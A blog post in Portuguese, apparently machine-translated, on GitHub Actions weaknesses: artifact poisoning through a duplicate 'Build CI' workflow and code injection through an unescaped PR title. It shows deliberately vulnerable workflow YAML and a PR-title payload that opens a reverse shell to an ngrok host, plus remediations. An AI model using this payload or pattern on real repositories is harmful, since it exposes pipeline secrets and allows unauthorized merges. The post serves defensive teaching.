Em posts anteriores (veja Envenenado Indireto Pipeline Execução I-PPE e Envenenado Pipeline EPI de execução , tratamos basicamente de EPI (Envenenado Pipeline Execução): vimos como funciona, seus efeitos, alguma exploração, bem como algumas formas de proteção contra ela.
Este post profundo Veja maisto algum outro CI/CD pipeline vulnerabilidades como envenenamento de artefato e injeção de código.
Para isso, vamos nos basear de alguma forma nos EPIs então vamos fazer um rápido resumo do que vimos sobre os EPIs.
Trabalhos anteriores sobre EPI
Para resumir, começamos com um GitHub básico pipeline para construir e testar código contribuído por meio de um pull request. Além disso, ele define algumas verificações que, se atendidas, irão mesclar o código no branch principal. Nós nomeamos isso como Cenário #1.
Em nosso post anterior, demonstramos como esse básico pipeline foi vulnerável tanto ao D-PPE quanto ao I-PPE.
Nós conseguimos consertar D-EPI by modificando o evento de gatilho da pull_request para pull_request_target, Fazendo o pipeline seguro para D-PPE. Como um lembrete, pipelines acionados em um evento pull_request_target executarão a base pipeline código, não o pipeline código contido no pull request.
Nós nomeamos isso como Cenário #2.
Como resultado desta modificação, demonstramos que O cenário nº 2 ainda era vulnerável ao I-PPE.
Para consertar, decidimos para dividir o pipeline em dois:
- O 1st pipeline (Construir IC) gostaria verifique o código PR (para construí-lo), faça a construção e gere um artefato.
- O 2nd pipeline (Testar IC) gostaria verifique o código base (para evitar modificação do shell script) e execute os scripts originais no artefato.
- Para sincronizar o IC de teste pipeline para executar DEPOIS do Build CI pipeline, usaremos o fluxo de trabalho_executar desencadear.
Nós nomeamos isso como Cenário #3.
Vamos recuperar o código de ambos pipelineestá de acordo com essas modificações…
1st pipeline (Construir CI):
name: Build CI on: pull_request_target: branches: [ main ] env: MY_SECRET: ${{ secrets.MY_SECRET }} GITHUB_PAT: ${{ secrets.GH_PAT }} jobs: prt_build_and_upload: runs-on: ubuntu-latest steps: - name: Checking out PR code uses: actions/checkout@v4 if: ${{ github.event_name == 'pull_request_target' }} with: # This is to get the PR code instead of the repo code ref: ${{ github.event.pull_request.head.sha }} - name: Building ... run: | mkdir ./bin touch ./bin/mybin.exe # Save some PR info for later use by the 2nd pipeline echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt echo "${{github.event.number}}" > ./bin/PR_ID.txt # Upload the binary as a pipeline artifact - name: Archive building artifacts uses: actions/upload-artifact@v3 with: name: archive-bin path: | bin 2nd pipeline (Teste IC):
name: Test CI on: workflow_run: workflows: [ 'Build CI' ] types: [completed] env: MY_SECRET: ${{ secrets.MY_SECRET }} GITHUB_PAT: ${{ secrets.GH_PAT }} jobs: deploy: runs-on: ubuntu-latest if: ${{ github.event.workflow_run.conclusion == 'success' }} steps: # By default, checks out base code (not PR code) - name: Checkout repository uses: actions/checkout@v4 # Download the artifact - name: 'Download artifact' uses: actions/github-script@v6 with: script: | let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({ owner: context.repo.owner, repo: context.repo.repo, run_id: context.payload.workflow_run.id, }); let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => { return artifact.name == "archive-bin" })[0]; let download = await github.rest.actions.downloadArtifact({ owner: context.repo.owner, repo: context.repo.repo, artifact_id: matchArtifact.id, archive_format: 'zip', }); let fs = require('fs'); fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data)); # Unzip the artifact - name: 'Unzip artifact' run: | unzip -o myartifact.zip # Runs tests - name: Running tests ... id : run_tests run: | echo Running tests.. chmod +x runtests.sh ./runtests.sh echo Tests executed. # # For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge) # - name: pr_check_conditions_to_merge id: check_pr run: | echo "check_conditions_to_merge" PR_ID=$(<PR_ID.txt) PR_TITLE=$(<PR_TITLE.txt) echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE" echo "merge=false" >> $GITHUB_OUTPUT - name: pr_merge_pr_false if: steps.check_pr.outputs.merge == 'false' run: | echo "The merge check was ${{ steps.check_pr.outputs.merge }}" echo "Merge conditions NOT MEET!!!" - name: pr_merge_pr_true if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK' run: | echo "The merge check was ${{ steps.check_pr.outputs.merge }}" echo "Merge conditions successfully MEET!!!" echo "Merging .." PR_ID=$(<PR_ID.txt) curl -L \ -X PUT \ -H "Accept: application/vnd.github+json" \ -H "Authorization: Bearer $GITHUB_PAT" \ -H "X-GitHub-Api-Version: 2022-11-28" \ https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \ -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}' Envenenamento por artefato
De acordo com acima CI/CD pipelines:
- pipeline Construir IC is segura para ambos D-EPI (devido a pull_request_target) e I-EPI (porque não executa mais o shell script).
- pipeline Testar IC É também segura para ambos D-EPI (devido a fluxo de trabalho_executar) e I-EPI (porque verifica o código base para obter o script de shell original)
Vamos aprofundar Veja maispara esta “solução”.
Pipeline Testar IC baixa o artefato como um arquivo zip.
# Unzip the artifact - name: 'Unzip artifact' run: | unzip -o myartifact.zip # Runs tests - name: Running tests ... id : run_tests run: | echo Running tests.. chmod +x runtests.sh ./runtests.sh echo Tests executed. Uma vez descompactado, ele executa o script de shell “seguro”. Por que digo o script de shell “seguro”? Porque em uma etapa anterior, o pipeline verifica o código “base”, então o script original é colocado na pasta do espaço de trabalho. Portanto, quando o pipeline executa o shell script que será executado usando o binário baixado anteriormente.
Então, qual é o problema com esta abordagem? O problema vem quando qualquer usuário “cria” um novo pipeline.
Se um usuário abrir um PR contendo um novo pipeline, o GitHub executará isso pipeline (dadas algumas condições, como vimos no anterior postar).
Dado isso, e se o usuário criar um novo pipeline com o mesmo nome de Build CI? Sim, é surpreendente, mas GitHub permite que você crie dois pipelinetem o mesmo nome!!
Lembre-se de que o Test CI será executado após o Build CI…
name: Test CI on: workflow_run: workflows: [ 'Build CI' ] types: [completed] Surpreendentemente, porque agora existem dois pipelinecom o mesmo nome, o pipeline O CI de teste será executado duas vezes: um após o original pipeline e outro depois do “novo” pipeline.
Como o hacker pode tirar vantagem disso?
- Primeiro, o usuário mal-intencionado pode modificar o shell script para enviar o segredo ao servidor controlado pelo hacker.
- Em segundo lugar, o novo pipeline inclui uma linha para copiar o shell script modificado para o artefato → envenenando a artefact!!!
Quando o usuário abre um PR com essas alterações, o “novo” pipeline será executado (carregando um artefato envenenado) e o Deploy CI pipeline será executado depois disso, resultando em o script de shell “modificado” substitui o script de shell “original” localizado no pipeline área de trabalho.
Este é o que chamamos Envenenamento por artefato, ou seja, o capacidade de modificar (hackear) o pipeline lógica através da modificação de um pipeline artefato.
Um possivel remediação é bastante simples: apenas descompactar o artefato em uma subpasta do espaço de trabalho evitaria sobrescrever o script de shell “base”.
Injeção de código
Além do envenenamento por artefato, você consegue ver alguma outra vulnerabilidade no código acima?
Vamos!!
Como você pode ver no código, pipeline Build CI constrói o binário, ele carrega o binário como um pipeline artefato e, além disso, carrega alguns dados adicionais: o título do PR e o ID do PR.
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt echo "${{github.event.number}}" > ./bin/PR_ID.txt Por que? Porque para mesclar o PR, como você pode ver abaixo, o Test CI pipeline precisa do ID do PR para invocar a API REST do GitHub que mescla o PR.
Como funciona o teste CI pipeline obter esse PR ID? Compartilhando informações em arquivos de texto (parte de um pipeline artefato) é uma maneira comum de compartilhar informações entre pipelineS. E é exatamente isso que esses pipelines estão fazendo.
echo "Merging .." PR_ID=$(<PR_ID.txt) curl -L \ -X PUT \ -H "Accept: application/vnd.github+json" \ -H "Authorization: Bearer $GITHUB_PAT" \ -H "X-GitHub-Api-Version: 2022-11-28" \ https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \ -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}' Estritamente falando, apenas o ID do PR é necessário para mesclar o PR, mas o pipeline o administrador decidiu que o Build CI também incluiria o título PR, então o Test CI pipeline imprimiria algumas mensagens informativas contendo o ID e o título do PR.
name: Build CI - name: Building ... run: | mkdir ./bin touch ./bin/mybin.exe # Save some PR info for later use by the 2nd pipeline echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt echo "${{github.event.number}}" > ./bin/PR_ID.txt name: Test CI [...] PR_ID=$(<PR_ID.txt) PR_TITLE=$(<PR_TITLE.txt) echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE" O PR Title são sempre dados provenientes do usuário e, como tal, devem sempre ser considerados não confiáveis. Então o pipeline deve lidar como tal e tomar medidas de proteção.
No código acima, podemos ver a mensagem específica ecoando o título do PR. É apenas um comando “eco” do Linux.
Através da interpolação de strings, se o título for “um título fictício”, o Github gera internamente um script contendo
echo ""a dummy title"" Mas, e se o título do PR fosse algo como:
Título malicioso” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "O script se tornaria:
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "" Resultando na abertura de um shell reverso contra o servidor controlado por hackers.
Esse shell reverso pode ser usado para acessar o pipeline secrets (lembre-se de que o Test CI está sendo executado em modo privilegiado porque está sendo acionado por workflow_run para ter acesso aos segredos).
Mas, o que mais pode ser feito através desse shell reverso?
Veja o código do teste CI:
env: GITHUB_PAT: ${{ secrets.GH_PAT }} [...] echo "Merging .." PR_ID=$(<PR_ID.txt) curl -L \ -X PUT \ -H "Accept: application/vnd.github+json" \ -H "Authorization: Bearer $GITHUB_PAT" \ -H "X-GitHub-Api-Version: 2022-11-28" \ https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \ -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}' Como você pode ver no CI de teste pipeline, o comando curl merge está fazendo uso de GITHUB_PAT (definido como um pipeline env var), então o executor contém o GITHUB_PAT como uma variável de ambiente. Além disso, ele também cria um env var lendo o PR ID.
Portanto, o hacker só precisa copiar o comando curl e colá-lo no shell reverso, mesclando o PR diretamente no branch protegido.
Para proteger de tudo isso:
- Para evitar interpolação de string com dados não confiáveis (vulneráveis a injeção de código) de definição pipeline env vars em vez de usá-lo diretamente em comandos echo
Em vez de usar:
name: Build CI - name: Building ... run: | mkdir ./bin touch ./bin/mybin.exe # Save some PR info for later use by the 2nd pipeline echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt echo "${{github.event.number}}" > ./bin/PR_ID.txt Usa isto:
- name: Building ... run: | mkdir ./bin touch ./bin/mybin.exe # Save some PR info for later use by the 2nd pipeline echo "$PR_TITLE" > ./bin/PR_TITLE.txt echo "${{github.event.number}}" > ./bin/PR_ID.txt env: PR_TITLE: ${{github.event.pull_request.title}} - Mesmo com a exploração de injeção de código, o comando curl merge não teria sido bem-sucedido se você tivesse feito corretamente protegeu seu pull requests por meio de alguma revisão ou aprovação obrigatória.
Conclusões
É de alguma forma difícil proteger CI/CD pipelines configuração e obter pipelineestá livre de vulnerabilidades.
Isso não significa que CI/CD sistemas (como o GitHub neste caso) são vulneráveis por si só. CI/CD os sistemas fornecem os meios para proteger contra vulnerabilidades... mas é responsabilidade do administrador implementar essas proteções.
Mas… Você não pode resolver uma vulnerabilidade a menos que esteja ciente de sua existência!!!
É claro que um administrador devops altamente qualificado pode ter todas essas ameaças em mente e proteger adequadamente o CI/CD pipelines, mas, mesmo assim, é altamente valioso usar um produto para detectar todos esses tipos de vulnerabilidades. E, claro, automatizar esse processo de detenção de vulnerabilidades (por exemplo, executando a varredura como parte de CI/CD pipelines).
Esta abordagem pode ser chamada de “Portão de segurança'
- Crie um novo pipeline (Portão de Segurança) para verificar CI/CD pipelinevulnerabilidades e fazer com que o outro CI pipelines para executar somente após a conclusão bem-sucedida do Security Gate pipeline.
- O portão de segurança pipelines irá verificar CI/CD pipelinevulnerabilidades e,
- Se forem encontradas vulnerabilidades, ele falhará e, portanto, o outro pipelines não será executado.
- Se nenhuma vulnerabilidade for encontrada, o pipeline terá sucesso e o outro pipelines será executado normalmente.





